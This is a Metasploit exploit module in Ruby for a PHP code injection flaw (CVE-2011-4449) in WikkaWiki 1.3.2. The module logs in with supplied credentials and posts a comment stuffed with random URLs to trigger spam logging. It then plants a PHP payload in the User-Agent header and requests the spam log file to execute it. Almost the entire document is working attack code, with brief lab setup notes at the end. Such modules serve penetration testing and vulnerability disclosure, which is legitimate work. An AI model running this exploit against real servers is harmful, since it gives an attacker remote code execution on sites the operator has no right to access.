WikkaWiki 1.3.2 Spam Logging PHP Injection

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "WikkaWiki 1.3.2 Spam Logging PHP Injection",  
'Description' => %q{  
This module exploits a vulnerability found in WikkaWiki. When the spam logging  
feature is enabled, it is possible to inject PHP code into the spam log file via the  
UserAgent header , and then request it to execute our payload. There are at least  
three different ways to trigger spam protection, this module does so by generating  
10 fake URLs in a comment (by default, the max_new_comment_urls parameter is 6).  
  
Please note that in order to use the injection, you must manually pick a page  
first that allows you to add a comment, and then set it as 'PAGE'.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'EgiX', #Initial discovery, PoC  
'sinn3r' #Metasploit  
],  
'References' =>  
[  
['CVE', '2011-4449'],  
['OSVDB', '77391'],  
['EDB', '18177'],  
['URL', 'http://wush.net/trac/wikka/ticket/1098']  
],  
'Payload' =>  
{  
'BadChars' => "\x00"  
},  
'DefaultOptions' =>  
{  
'ExitFunction' => "none"  
},  
'Arch' => ARCH_PHP,  
'Platform' => ['php'],  
'Targets' =>  
[  
['WikkaWiki 1.3.2 r1814', {}]  
],  
'Privileged' => false,  
'DisclosureDate' => "Nov 30 2011",  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('USERNAME', [true, 'WikkaWiki username']),  
OptString.new('PASSWORD', [true, 'WikkaWiki password']),  
OptString.new('PAGE', [true, 'Page to inject']),  
OptString.new('TARGETURI', [true, 'The URI path to WikkaWiki', '/wikka/'])  
], self.class)  
end  
  
  
def check  
res = send_request_raw({  
'method' => 'GET',  
'uri' => "#{target_uri.path}wikka.php?wakka=HomePage"  
})  
  
if res and res.body =~ /Powered by WikkaWiki/  
return Exploit::CheckCode::Detected  
else  
return Exploit::CheckCode::Safe  
end  
end  
  
  
#  
# Get the cookie before we do any of that login/exploity stuff  
#  
def get_cookie  
res = send_request_raw({  
'method' => 'GET',  
'uri' => "#{@base}wikka.php"  
})  
  
# Get the cookie in this format:  
# 96522b217a86eca82f6d72ef88c4c7f4=pr5sfcofh5848vnc2sm912ean2; path=/wikka  
if res and res.headers['Set-Cookie']  
cookie = res.headers['Set-Cookie'].scan(/(\w+\=\w+); path\=.+$/).flatten[0]  
else  
raise RuntimeError, "#{@peer} - No cookie found, will not continue"  
end  
  
cookie  
end  
  
  
#  
# Do login, and then return the cookie that contains our credential  
#  
def login(cookie)  
# Send a request to the login page so we can obtain some hidden values needed for login  
uri = "#{@base}wikka.php?wakka=UserSettings"  
res = send_request_raw({  
'method' => 'GET',  
'uri' => uri,  
'cookie' => cookie  
})  
  
# Extract the hidden fields  
login = {}  
if res and res.body =~ /\<div id\=\"content\"\>.+\<fieldset class\=\"hidden\"\>(.+)\<\/fieldset\>.+\<legend\>Login\/Register\<\/legend\>/m  
fields = $1.scan(/\<input type\=\"hidden\" name\=\"(\w+)\" value\=\"(\w+)\" \/>/)  
fields.each do |name, value|  
login[name] = value  
end  
else  
raise RuntimeError, "#{@peer} - Unable to find the hidden fieldset required for login"  
end  
  
# Add the rest of fields required for login  
login['action'] = 'login'  
login['name'] = datastore['USERNAME']  
login['password'] = datastore['PASSWORD']  
login['do_redirect'] = 'on'  
login['submit'] = "Login"  
login['confpassword'] = ''  
login['email'] = ''  
  
port = (rport.to_i == 80) ? "" : ":#{rport}"  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => uri,  
'cookie' => cookie,  
'headers' => { 'Referer' => "http://#{rhost}#{port}#{uri}" },  
'vars_post' => login  
})  
  
if res and res.headers['Set-Cookie'] =~ /user_name/  
user = res.headers['Set-Cookie'].scan(/(user_name\@\w+=\w+);/)[0] || ""  
pass = res.headers['Set-Cookie'].scan(/(pass\@\w+=\w+)/)[0] || ""  
cookie_cred = "#{cookie}; #{user}; #{pass}"  
else  
cred = "#{datastore['USERNAME']}:#{datastore['PASSWORD']}"  
raise RuntimeError, "#{@peer} - Unable to login with \"#{cred}\""  
end  
  
return cookie_cred  
end  
  
  
#  
# After login, we inject the PHP payload  
#  
def inject_exec(cookie)  
# Get the necessary fields in order to post a comment  
res = send_request_raw({  
'method' => 'GET',  
'uri' => "#{@base}wikka.php?wakka=#{datastore['PAGE']}&show_comments=1",  
'cookie' => cookie  
})  
  
fields = {}  
if res and res.body =~ /\<form action\=.+processcomment.+\<fieldset class\=\"hidden\"\>(.+)\<\/fieldset\>/m  
$1.scan(/\<input type\=\"hidden\" name\=\"(\w+)\" value\=\"(.+)\" \/>/).each do |n, v|  
fields[n] = v  
end  
else  
raise RuntimeError, "#{@peer} - Cannot get necessary fields before posting a comment"  
end  
  
# Generate enough URLs to trigger spam logging  
urls = ''  
10.times do |i|  
urls << "http://www.#{rand_text_alpha_lower(rand(10)+6)}.#{['com', 'org', 'us', 'info'].sample}\n"  
end  
  
# Add more fields  
fields['body'] = urls  
fields['submit'] = 'Add'  
  
# Inject payload  
b64_payload = Rex::Text.encode_base64(payload.encoded)  
port = (rport.to_i == 80) ? "" : ":#{rport}"  
uri = "#{@base}wikka.php?wakka=#{datastore['PAGE']}/addcomment"  
post_data = ""  
send_request_cgi({  
'method' => 'POST',  
'uri' => "#{@base}wikka.php?wakka=#{datastore['PAGE']}/addcomment",  
'cookie' => cookie,  
'headers' => { 'Referer' => "http://#{rhost}:#{port}/#{uri}" },  
'vars_post' => fields,  
'agent' => "<?php #{payload.encoded} ?>"  
})  
  
send_request_raw({  
'method' => 'GET',  
'uri' => "#{@base}spamlog.txt.php"  
})  
end  
  
  
def exploit  
@peer = "#{rhost}:#{rport}"  
  
@base = target_uri.path  
@base << '/' if @base[-1, 1] != '/'  
  
print_status("#{@peer} - Getting cookie")  
cookie = get_cookie  
  
print_status("#{@peer} - Logging in")  
cred = login(cookie)  
  
print_status("#{@peer} - Triggering spam logging")  
inject_exec(cred)  
  
handler  
end  
end  
  
  
=begin  
For testing:  
svn -r 1814 co https://wush.net/svn/wikka/trunk wikka  
  
Open wikka.config.php, do:  
'spam_logging' => '1'  
=end`